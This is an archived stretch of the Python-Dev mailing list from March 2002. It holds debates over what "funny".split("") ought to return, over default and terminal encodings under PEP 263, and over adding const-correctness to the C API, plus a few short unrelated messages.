I didn't think of this and expected it were obvious to
use the maximum string of single characters in this
case. But see my other post, I already accepted
list("funny") as the cleaner way.

regards - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From ark@research.att.com  Tue Mar 12 18:43:17 2002
From: ark@research.att.com (Andrew Koenig)
Date: 12 Mar 2002 13:43:17 -0500
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <000701c1c9f2$fd3370c0$445d4540@Dell2>
References: <000701c1c9f2$fd3370c0$445d4540@Dell2>
Message-ID: <yu99adtdfwze.fsf@europa.research.att.com>

>> Why this?
>> I would expect

>> ['f','u','n','n','y']

Brian> Why wouldn't you expect this: 
Brian> ['', 'f', 'u', 'n', 'n', 'y', '']

For the same reason I wouldn't expect this:

['', '', 'f', 'u', 'n', 'n', 'y', '', '']

whatever that reason might be.  That is:  You give me a reason why
I should expect ['', 'f', 'u', 'n', 'n', 'y', ''] instead of
['f','u','n','n','y'] and I'll warrant that the same reason,
whatver it might happen to be, would argue also for
['', '', 'f', 'u', 'n', 'n', 'y', '', '']

If you're going to allow a null separator at all, then there has to be
a rule to choose one of the infinite number of possible return values.

One plausible rule, which would have the advantage of working the
same for empty and nonempty separators, is that no element of
the result can be equal to the separator.

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From tismer@tismer.com  Tue Mar 12 18:50:43 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 19:50:43 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2> <yu99adtdfwze.fsf@europa.research.att.com>
Message-ID: <3C8E4E03.406@tismer.com>

Andrew Koenig wrote:

...


> One plausible rule, which would have the advantage of working the
> same for empty and nonempty separators, is that no element of
> the result can be equal to the separator.


Eeeeehhh!
That sounds very good.
It can make me unconvinced again, of course.
Split can never return the separator,
that makes the number of possible answers
not only finite, but unique!

Excellent!

Guys, please let me know if this will be changed,
soon, since I want to finish the translation :-)

len("ciao - chris".split("")) == 12)

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From ark@research.att.com  Tue Mar 12 19:01:16 2002
From: ark@research.att.com (Andrew Koenig)
Date: 12 Mar 2002 14:01:16 -0500
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <3C8E4E03.406@tismer.com>
References: <000701c1c9f2$fd3370c0$445d4540@Dell2>
 <yu99adtdfwze.fsf@europa.research.att.com> <3C8E4E03.406@tismer.com>
Message-ID: <yu994rjlfw5f.fsf@europa.research.att.com>

Christian> Eeeeehhh!
Christian> That sounds very good.
Christian> It can make me unconvinced again, of course.
Christian> Split can never return the separator,
Christian> that makes the number of possible answers
Christian> not only finite, but unique!

Also, note that it does allow for empty elements in the result,
provided that the separator is not empty:

    >>> "a//b".split("/")
    ['a', '', 'b']

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From tismer@tismer.com  Tue Mar 12 19:07:30 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 20:07:30 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2>	<yu99adtdfwze.fsf@europa.research.att.com> <3C8E4E03.406@tismer.com> <yu994rjlfw5f.fsf@europa.research.att.com>
Message-ID: <3C8E51F2.6090802@tismer.com>

Andrew Koenig wrote:

> Christian> Eeeeehhh!
> Christian> That sounds very good.
> Christian> It can make me unconvinced again, of course.
> Christian> Split can never return the separator,
> Christian> that makes the number of possible answers
> Christian> not only finite, but unique!
> 
> Also, note that it does allow for empty elements in the result,
> provided that the separator is not empty:
> 
>     >>> "a//b".split("/")
>     ['a', '', 'b']


Sure. The single rule "split whenever you can, but don't
return the separator" make this operation closed.
Although split and join can never be true friends,
since they aren't real counterparts:
join() does accept strings which contain the concatenator.

Maybe somebody will use this to kill the argument.

maybe-somebody-with-a-<wink>-ly y'rs - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 19:00:34 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 14:00:34 -0500
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2> <yu99adtdfwze.fsf@europa.research.att.com>
Message-ID: <037001c1c9f8$881eb230$0202a8c0@boostconsulting.com>

There's a reason to pursue the OP's expected result as opposed to just
settling for list("funny"). If we pick a reasonable behavior for this
case, it will save some number of people from having to write:

    if len(sep):
        divided = s.split(sep)
    else:
        divided = list(s)

Which just makes the code harder-to-read.

What's the point in making s.split('') an error? Assuming you document
the behavior, the only people served by the error message are people who
haven't bothered to read the docs. However, their code is broken anyway.

Causing an error when there's the slightest ambiguity in what the code
might mean in the absence of documentation doesn't serve anyone. I think
the introduction of the MRO is in part motivated by this philosophy, and
it's a good idea, when there's a sensible non-error behavior, to
implement it.

'Course, backward-compatibility is an issue.

-Dave

----- Original Message -----
From: "Andrew Koenig" <ark@research.att.com>
To: <brian@sweetapp.com>
Cc: "'Christian Tismer'" <tismer@tismer.com>; <python-dev@python.org>
Sent: Tuesday, March 12, 2002 1:43 PM
Subject: Re: [Python-Dev] "funny".split("")


> >> Why this?
> >> I would expect
>
> >> ['f','u','n','n','y']
>
> Brian> Why wouldn't you expect this:
> Brian> ['', 'f', 'u', 'n', 'n', 'y', '']
>
> For the same reason I wouldn't expect this:
>
> ['', '', 'f', 'u', 'n', 'n', 'y', '', '']
>
> whatever that reason might be.  That is:  You give me a reason why
> I should expect ['', 'f', 'u', 'n', 'n', 'y', ''] instead of
> ['f','u','n','n','y'] and I'll warrant that the same reason,
> whatver it might happen to be, would argue also for
> ['', '', 'f', 'u', 'n', 'n', 'y', '', '']
>
> If you're going to allow a null separator at all, then there has to be
> a rule to choose one of the infinite number of possible return values.
>
> One plausible rule, which would have the advantage of working the
> same for empty and nonempty separators, is that no element of
> the result can be equal to the separator.
>
> --
> Andrew Koenig, ark@research.att.com,
http://www.research.att.com/info/ark
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From ark@research.att.com  Tue Mar 12 19:08:15 2002
From: ark@research.att.com (Andrew Koenig)
Date: Tue, 12 Mar 2002 14:08:15 -0500 (EST)
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <3C8E51F2.6090802@tismer.com> (message from Christian Tismer on
 Tue, 12 Mar 2002 20:07:30 +0100)
References: <000701c1c9f2$fd3370c0$445d4540@Dell2>	<yu99adtdfwze.fsf@europa.research.att.com> <3C8E4E03.406@tismer.com> <yu994rjlfw5f.fsf@europa.research.att.com> <3C8E51F2.6090802@tismer.com>
Message-ID: <200203121908.g2CJ8Fi14044@europa.research.att.com>

Christian> Sure. The single rule "split whenever you can, but don't
Christian> return the separator" make this operation closed.
Christian> Although split and join can never be true friends,
Christian> since they aren't real counterparts:
Christian> join() does accept strings which contain the concatenator.

Christian> Maybe somebody will use this to kill the argument.

But that's true already, so allowing a null separator wouldn't change it.


From tismer@tismer.com  Tue Mar 12 19:16:36 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 20:16:36 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2> <yu99adtdfwze.fsf@europa.research.att.com> <037001c1c9f8$881eb230$0202a8c0@boostconsulting.com>
Message-ID: <3C8E5414.8000902@tismer.com>

David Abrahams wrote:

> There's a reason to pursue the OP's expected result as opposed to just
> settling for list("funny"). If we pick a reasonable behavior for this
> case, it will save some number of people from having to write:
> 
>     if len(sep):
>         divided = s.split(sep)
>     else:
>         divided = list(s)
> 
> Which just makes the code harder-to-read.
> 
> What's the point in making s.split('') an error? Assuming you document
> the behavior, the only people served by the error message are people who
> haven't bothered to read the docs. However, their code is broken anyway.
> 
> Causing an error when there's the slightest ambiguity in what the code
> might mean in the absence of documentation doesn't serve anyone. I think
> the introduction of the MRO is in part motivated by this philosophy, and
> it's a good idea, when there's a sensible non-error behavior, to
> implement it.


I'll keep my fingers crossed - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From skip@pobox.com  Tue Mar 12 19:21:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 12 Mar 2002 13:21:26 -0600
Subject: [Python-Dev] I'm an idiot...
Message-ID: <15502.21814.944732.647847@beluga.mojam.com>

I checked in a trivial, but incorrect, change to popen2.py just now.  How to
I undo that?

My apologies...

Skip


From fredrik@pythonware.com  Tue Mar 12 19:25:07 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Tue, 12 Mar 2002 20:25:07 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2> <yu99adtdfwze.fsf@europa.research.att.com> <037001c1c9f8$881eb230$0202a8c0@boostconsulting.com>
Message-ID: <018401c1c9fb$a2d18960$ced241d5@hagrid>

david abrahams wrote:


> There's a reason to pursue the OP's expected result as opposed to just
> settling for list("funny"). If we pick a reasonable behavior for this
> case, it will save some number of people from having to write:
> 
>     if len(sep):
>         divided = s.split(sep)
>     else:
>         divided = list(s)

(where the number is very close to zero, and where number times
the time needed to type in the above workaround is much less than
the amount of time you've all wasted by contributing to this thread)

btw, here's another data point:

>>> import re
>>> re.split("", "funny")
['funny']

</F>



From tim@zope.com  Tue Mar 12 19:51:36 2002
From: tim@zope.com (Tim Peters)
Date: Tue, 12 Mar 2002 14:51:36 -0500
Subject: [Python-Dev] I'm an idiot...
Message-ID: <BIEJKCLHCIOIHAGOKOLHKEKKCNAA.tim@zope.com>

[Skip Montanaro]
> I checked in a trivial, but incorrect, change to popen2.py just 
> now.  How to I undo that?

Instructions for reverting a checkin are in part 2.7 of the FAQ:

    http://python.sourceforge.net/sf-faq.html#c7


From sdm7g@Virginia.EDU  Tue Mar 12 19:56:17 2002
From: sdm7g@Virginia.EDU (Steven Majewski)
Date: Tue, 12 Mar 2002 14:56:17 -0500 (EST)
Subject: [Python-Dev] I'm an idiot...
In-Reply-To: <15502.21814.944732.647847@beluga.mojam.com>
Message-ID: <Pine.OSX.4.43.0203121454410.330-100000@d-128-61-180.bootp.virginia.edu>

No -- *I'm* an idiot!

... Oh, wait....
Nevermind: I was thinking of Spartacus.

-- Steve





From martin@v.loewis.de  Tue Mar 12 19:57:13 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 12 Mar 2002 20:57:13 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203121054.TAA30486@suzuki611.ngo.okisoft.co.jp>
References: <200203121054.TAA30486@suzuki611.ngo.okisoft.co.jp>
Message-ID: <m3u1rlbluu.fsf@mira.informatik.hu-berlin.de>

SUZUKI Hisao <suzuki611@oki.com> writes:

> What we handle in Unicode with Python is often a document file
> in UTF-16.  The default encoding is mainly applied to data from
> the document.  

You should not use the default encoding for reading files. Instead,
you should use codecs.open or some such to read in UTF-16 data.

> Yes, I mean such things.  Please note that u'<whatever-in-ascii>' is
> interpreted just literally and we cannot put Japanese characters in
> string literals legally for now anyway.

One of the primary rationale of the PEP is that you will be able to
put arbitrary Japanese characters into u'<whatever-in-euc-jp', and
have it work correctly.

> >>> unicode("\x00a\x00b\x00c")
> u'abc'

You should use

  unicode("\x00a\x00b\x00c", "utf-16")

instead.

Regards,
Martin


From tim@zope.com  Tue Mar 12 20:09:22 2002
From: tim@zope.com (Tim Peters)
Date: Tue, 12 Mar 2002 15:09:22 -0500
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <018401c1c9fb$a2d18960$ced241d5@hagrid>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEKMCNAA.tim@zope.com>

Last time this went around on comp.lang.python (I hope nobody believes this
is a new discussion <wink>), my immediate gut reaction was that, *if*
splitting on an empty string had to do something, it should "obviously"
return the target string unchanged:  you didn't specify a sensible
separator, so nothing should get split.  This is the way re.split() works
too, given an empty "separator".

Other people think at least two other behaviors "are obvious" in this silly
case.  That makes raising an exception most Pythonic to me.



From tismer@tismer.com  Tue Mar 12 20:10:56 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 21:10:56 +0100
Subject: [Python-Dev] "funny".split("")
References: <000701c1c9f2$fd3370c0$445d4540@Dell2> <yu99adtdfwze.fsf@europa.research.att.com> <037001c1c9f8$881eb230$0202a8c0@boostconsulting.com> <018401c1c9fb$a2d18960$ced241d5@hagrid>
Message-ID: <3C8E60D0.6060408@tismer.com>

Fredrik Lundh wrote:

> david abrahams wrote:
> 
> 
> 
>>There's a reason to pursue the OP's expected result as opposed to just
>>settling for list("funny"). If we pick a reasonable behavior for this
>>case, it will save some number of people from having to write:
>>
>>    if len(sep):
>>        divided = s.split(sep)
>>    else:
>>        divided = list(s)
>>
> 
> (where the number is very close to zero, and where number times
> the time needed to type in the above workaround is much less than
> the amount of time you've all wasted by contributing to this thread)


But it was fun, a bit.

> btw, here's another data point:
> 
> 
>>>>import re
>>>>re.split("", "funny")
>>>>
> ['funny']


There are good arguments to have the one or the other
behavior. I'm not ambitious for any of them,
but it would save brain cells to have the same
behavior on this special case for re and "".split.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 20:16:45 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 15:16:45 -0500
Subject: [Python-Dev] "funny".split("")
References: <BIEJKCLHCIOIHAGOKOLHGEKMCNAA.tim@zope.com>
Message-ID: <03ff01c1ca02$d730ced0$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim@zope.com>
To: <python-dev@python.org>
Sent: Tuesday, March 12, 2002 3:09 PM
Subject: RE: [Python-Dev] "funny".split("")


> Last time this went around on comp.lang.python (I hope nobody believes
this
> is a new discussion <wink>), my immediate gut reaction was that, *if*
> splitting on an empty string had to do something, it should
"obviously"
> return the target string unchanged:  you didn't specify a sensible
> separator, so nothing should get split.

That seems to come from the assumption that splitting on the empty
string is nonsense, whereas it obviously made sense to Christian (and
me).

> This is the way re.split() works too, given an empty "separator".

So fix it ;-)

> Other people think at least two other behaviors "are obvious" in this
silly
> case.  That makes raising an exception most Pythonic to me.

Not that I think this is terribly important, but it seems to me that
it's cleaner to tell the people who think it's nonsensical "don't do
that" and give the rest the behavior they expect.

adding-zero-doesn't-make-much-sense-either-ly y'rs,

Dave






P.S. No, the obvious analogy to division by zero doesn't escape me.





From Juergen Hermann" <j.her@t-online.de  Tue Mar 12 20:10:24 2002
From: Juergen Hermann" <j.her@t-online.de (Juergen Hermann)
Date: Tue, 12 Mar 2002 21:10:24 +0100
Subject: [Python-Dev] Opinions on const-correctness?
Message-ID: <16ksby-0wg12mC@fwd09.sul.t-online.com>

Hi!

When you interface const-correct C or C++ code with Python, you
currently need to jump through hoops like this:

somefunc(const char* modulename, const char* key)
{
    ... PyImport_ImportModule(const_cast<char*>(modulename)) ...


I'd be willing to invest some time to change this, the question is:

 1. someone opposed to such a change?

 2. any technical reasons against it (const is ANSI, do we have a
portability problem that cannot be solved by a #define)?

The largest negative effect I can see is that it'll add some turbulence
to the CVS log (many little changes).

Ciao, J=FCrgen




From sjmachin@lexicon.net  Tue Mar 12 21:24:18 2002
From: sjmachin@lexicon.net (John Machin)
Date: Wed, 13 Mar 2002 07:24:18 +1000
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <3C8E460B.3090500@tismer.com>
Message-ID: <3C8EFEA2.324.51B648@localhost>

On 12 Mar 2002 at 19:16, Christian Tismer wrote:

> Gerald S. Williams wrote:
> 
> > Christian Tismer wrote:
> > 
> >>I'm just translating the Python Pocked Reference the
> >>second time, and I stumbled over this:
> >>   "funny".split("")
> >>gives a ValueError: empty separator.
> >>Why this?
> >>
> > 
> > I don't know, but I have a patch for stringobject.c and
> > stropmodule.c that gives the behavior you asked for (I
> > haven't done unicodeobject.c yet). Should I post it?
> 
> 
> Thanks a lot!
> But I think this is not a problem of implementation
> but design. Since "hello".split("") would be the only
> ambiguous case (you can find non-countable infinite
> outputs which would yield the same join), they seem
> to have decided to forbid it.
> I (bummer head) would have choosen the obvious,
> but having to replace the expression by list("hello")
> is just fine with me, and for sure a bit cleaner.
> 
> ciao - chris

This topic has come up several times in c.l.py, as recently as a month ago.

Various people proposed what appeared to them to be plausible return values instead of 
an exception for 'abc'.split(''):

1. ['a', 'b', 'c']
2. ['', 'a', 'b', 'c', '']
3. ['abc']
4. An infinitely-long list of null strings -- from somebody in a university mathematics 
department -- as Python seems to be sprouting singleton objects, maybe we could have 
StringAlephNull specifically to be returned from any_string.split(""). Actually, as the 
proponent's suggestion was based on naive code for split() which got stuck in a loop at 
the *start* of the source string,  "".split("") should yield StringAleph(0) and in general 
foo.split("") should return StringAleph(len(foo)).

... in other words, plenty of evidence that splitting on a null separator is extremely ill-
definable and the current behaviour should be maintained.

Cheers,
John


From tismer@tismer.com  Tue Mar 12 20:25:43 2002
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 12 Mar 2002 21:25:43 +0100
Subject: [Python-Dev] "funny".split("")
References: <BIEJKCLHCIOIHAGOKOLHGEKMCNAA.tim@zope.com>
Message-ID: <3C8E6447.3070305@tismer.com>

Tim Peters wrote:

> Last time this went around on comp.lang.python (I hope nobody believes this
> is a new discussion <wink>), my immediate gut reaction was that, *if*
> splitting on an empty string had to do something, it should "obviously"
> return the target string unchanged:  you didn't specify a sensible
> separator, so nothing should get split.  This is the way re.split() works
> too, given an empty "separator".
> 
> Other people think at least two other behaviors "are obvious" in this silly
> case.  That makes raising an exception most Pythonic to me.


I didn'd follow c.l.py too long and wouldn't have asked
this question otherwise. The booklet just says *nothing*
about this case, and I wanted to add the final answer.

I have a one single opinion in this case:
Let things be as easy to remember as possible.
I'd do exactly what Perl does in this case, whatever
it is. Only one fact to learn.

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net/
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
      where do you want to jump today?   http://www.stackless.com/




From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 20:27:14 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 15:27:14 -0500
Subject: [Python-Dev] Opinions on const-correctness?
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>
Message-ID: <043401c1ca04$baf84fc0$0202a8c0@boostconsulting.com>

That would sure be "way nice" for me and my users...

-Dave

----- Original Message -----
From: "Juergen Hermann" <j.her@t-online.de>
To: "Python Developers List" <python-dev@python.org>
Sent: Tuesday, March 12, 2002 3:10 PM
Subject: [Python-Dev] Opinions on const-correctness?


Hi!

When you interface const-correct C or C++ code with Python, you
currently need to jump through hoops like this:

somefunc(const char* modulename, const char* key)
{
    ... PyImport_ImportModule(const_cast<char*>(modulename)) ...


I'd be willing to invest some time to change this, the question is:

 1. someone opposed to such a change?

 2. any technical reasons against it (const is ANSI, do we have a
portability problem that cannot be solved by a #define)?

The largest negative effect I can see is that it'll add some turbulence
to the CVS log (many little changes).

Ciao, Jürgen



_______________________________________________
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev



From martin@v.loewis.de  Tue Mar 12 20:32:57 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 12 Mar 2002 21:32:57 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3pu29bk7a.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> - file I/O;
> 
> - OS filenames;
> 
> - implicit mixing of 8-bit and Unicode strings;
> 
> - invocation of unicode(s) or u.decode() without an encoding.

I would not suggest to support a default encoding for file
content. Instead, I think there should be a "terminal encoding", which
is only used for interaction with the user's terminal.

Regards,
Martin


From tim@zope.com  Tue Mar 12 20:36:46 2002
From: tim@zope.com (Tim Peters)
Date: Tue, 12 Mar 2002 15:36:46 -0500
Subject: [Python-Dev] "funny".split("")
In-Reply-To: <3C8E6447.3070305@tismer.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCELACNAA.tim@zope.com>

[Christian]
> I have a one single opinion in this case:
> Let things be as easy to remember as possible.
> I'd do exactly what Perl does in this case, whatever
> it is. Only one fact to learn.

In the face of ambiguity, we're refusing the temptation to guess.

If we have to guess, then being consistent with Python's re is the only
defensible behavior for Python.

[David]
> it seems to me thatt's cleaner to tell the people who think it's
> nonsensical "don't do that" and give the rest the behavior they expect.

This argument can be given by a person verbatim no matter which of the three
identified behaviors they happen to prefer.  Therefore it argues for none of
them in particular.



From guido@python.org  Tue Mar 12 20:47:20 2002
From: guido@python.org (Guido van Rossum)
Date: Tue, 12 Mar 2002 15:47:20 -0500
Subject: [Python-Dev] Opinions on const-correctness?
In-Reply-To: Your message of "Tue, 12 Mar 2002 21:10:24 +0100."
 <16ksby-0wg12mC@fwd09.sul.t-online.com>
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>
Message-ID: <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>

> When you interface const-correct C or C++ code with Python, you
> currently need to jump through hoops like this:
> 
> somefunc(const char* modulename, const char* key)
> {
>     ... PyImport_ImportModule(const_cast<char*>(modulename)) ...
> 
> 
> I'd be willing to invest some time to change this, the question is:
> 
>  1. someone opposed to such a change?
> 
>  2. any technical reasons against it (const is ANSI, do we have a
> portability problem that cannot be solved by a #define)?
> 
> The largest negative effect I can see is that it'll add some turbulence
> to the CVS log (many little changes).

-1.

I've never tried to enforce const-correctness before, but I've heard
enough horror stories about this.  The problem is that it breaks 3rd
party extensions left and right, and fixing those isn't always easy.
In general, whenever you add a const somewhere, it ends up propagating
to some other API, which then also requires a const, which propagates
to yet another API needing a const, ad infinitum.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 20:42:40 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 15:42:40 -0500
Subject: [Python-Dev] "funny".split("")
References: <BIEJKCLHCIOIHAGOKOLHCELACNAA.tim@zope.com>
Message-ID: <044b01c1ca06$d5686e10$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim@zope.com>

> [David]
> > it seems to me thatt's cleaner to tell the people who think it's
> > nonsensical "don't do that" and give the rest the behavior they
expect.
>
> This argument can be given by a person verbatim no matter which of the
three
> identified behaviors they happen to prefer.  Therefore it argues for
none of
> them in particular.

If they all think their result is sensible, then I agree. Your previous
message implied that those who didn't agree with Chris were shrugging
and saying, "well, it's nonsense, but if it has to do something it does
*this*: ..."

-Dave




From pedroni@inf.ethz.ch  Tue Mar 12 20:39:48 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Tue, 12 Mar 2002 21:39:48 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp><200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net><874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp><200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net> <m3pu29bk7a.fsf@mira.informatik.hu-berlin.de>
Message-ID: <030f01c1ca06$0df418c0$6d94fea9@newmexico>

From: Martin v. Loewis <martin@v.loewis.de>
> Guido van Rossum <guido@python.org> writes:
> 
> > - file I/O;
> > 
> > - OS filenames;
> > 
> > - implicit mixing of 8-bit and Unicode strings;
> > 
> > - invocation of unicode(s) or u.decode() without an encoding.
> 
> I would not suggest to support a default encoding for file
> content. Instead, I think there should be a "terminal encoding", which
> is only used for interaction with the user's terminal.
> 

In Jython we have such an encoding that can be set with the -E codec
flag or a registry option (the moral equivalent of env var for CPython
settings),  at the moment AFAIK it is is only used for the interactive prompt
input, whereas you presumably intented a default encoding for sys.stdin/out.

regards.



From David Abrahams" <david.abrahams@rcn.com  Tue Mar 12 20:58:15 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Tue, 12 Mar 2002 15:58:15 -0500
Subject: [Python-Dev] Opinions on const-correctness?
References: <16ksby-0wg12mC@fwd09.sul.t-online.com>  <200203122047.g2CKlK717803@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <045c01c1ca08$ad691a20$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>


> > When you interface const-correct C or C++ code with Python, you
> > currently need to jump through hoops like this:
> >
> > somefunc(const char* modulename, const char* key)
> > {
> >     ... PyImport_ImportModule(const_cast<char*>(modulename)) ...
> >
> >
> > I'd be willing to invest some time to change this, the question is:
> >
> >  1. someone opposed to such a change?
> >
> >  2. any technical reasons against it (const is ANSI, do we have a
> > portability problem that cannot be solved by a #define)?
> >
> > The largest negative effect I can see is that it'll add some
turbulence
> > to the CVS log (many little changes).
>
> -1.
>
> I've never tried to enforce const-correctness before, but I've heard
> enough horror stories about this.  The problem is that it breaks 3rd
> party extensions left and right,

Only if you change the strings /returned/ by Python (or structure
members) to const char*. Changing your parameters to const char* won't
hurt anybody.

> and fixing those isn't always easy.
> In general, whenever you add a const somewhere, it ends up propagating
> to some other API, which then also requires a const, which propagates
> to yet another API needing a const, ad infinitum.

Pretty FUD-ly, Guido! That problem only happens to people that don't
really understand const and its implications. If you leave the job in
the hands of someone who's used const extensively there's no reason it
should cause serious problems.

-Dave




From martin@v.loewis.de  Tue Mar 12 21:09:06 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: Tue, 12 Mar 2002 22:09:06 +0100
Subject: [Python-Dev] PEP 286: Please comment
Message-ID: <200203122109.g2CL96A02054@mira.informatik.hu-berlin.de>

I put PEP 286, "Enhanced Argument Tuples", on

http://python.sourceforge.net/peps/pep-0286.html

The main rationale is that PyArg_ParseTuple should be able to attach
additional objects to the argument tuple, so that the application
would not need to deal with the memory allocated in the process of
argument parsing.

Any input appreciated,

Martin


From martin@v.loewis.de  Tue Mar 12 21:05:00 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 12 Mar 2002 22:05:00 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <030f01c1ca06$0df418c0$6d94fea9@newmexico>
References: <200203120336.MAA30292@suzuki611.ngo.okisoft.co.jp>
 <200203120432.g2C4WvD10492@pcp742651pcs.reston01.va.comcast.net>
 <874rjm0yju.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203121327.g2CDRG611486@pcp742651pcs.reston01.va.comcast.net>
 <m3pu29bk7a.fsf@mira.informatik.hu-berlin.de>
 <030f01c1ca06$0df418c0$6d94fea9@newmexico>
Message-ID: <m38z8xa45f.fsf@mira.informatik.hu-berlin.de>

"Samuele Pedroni" <pedroni@inf.ethz.ch> writes:

> In Jython we have such an encoding that can be set with the -E codec
> flag or a registry option (the moral equivalent of env var for CPython
> settings),  at the moment AFAIK it is is only used for the interactive prompt
> input, whereas you presumably intented a default encoding for sys.stdin/out.

Indeed. I would check whether sys.stdout isatty() before applying the
encoding. In the Windows (NT) console window, MS has special API to
output Unicode, on other systems, the console encoding would be used.

For sys.stdin, it would never be used, but just exposed to the
application for converting input if it wants Unicode. The only
exception might be raw_input(): In IDLE, raw_input() will natively
return Unicode strings; I'm not sure whether IDLE should attempt to
convert them to byte strings, or whether it should return Unicode
strings from raw_input().

Regards,
Martin



From tree@basistech.com  Tue Mar 12 21:10:01 2002
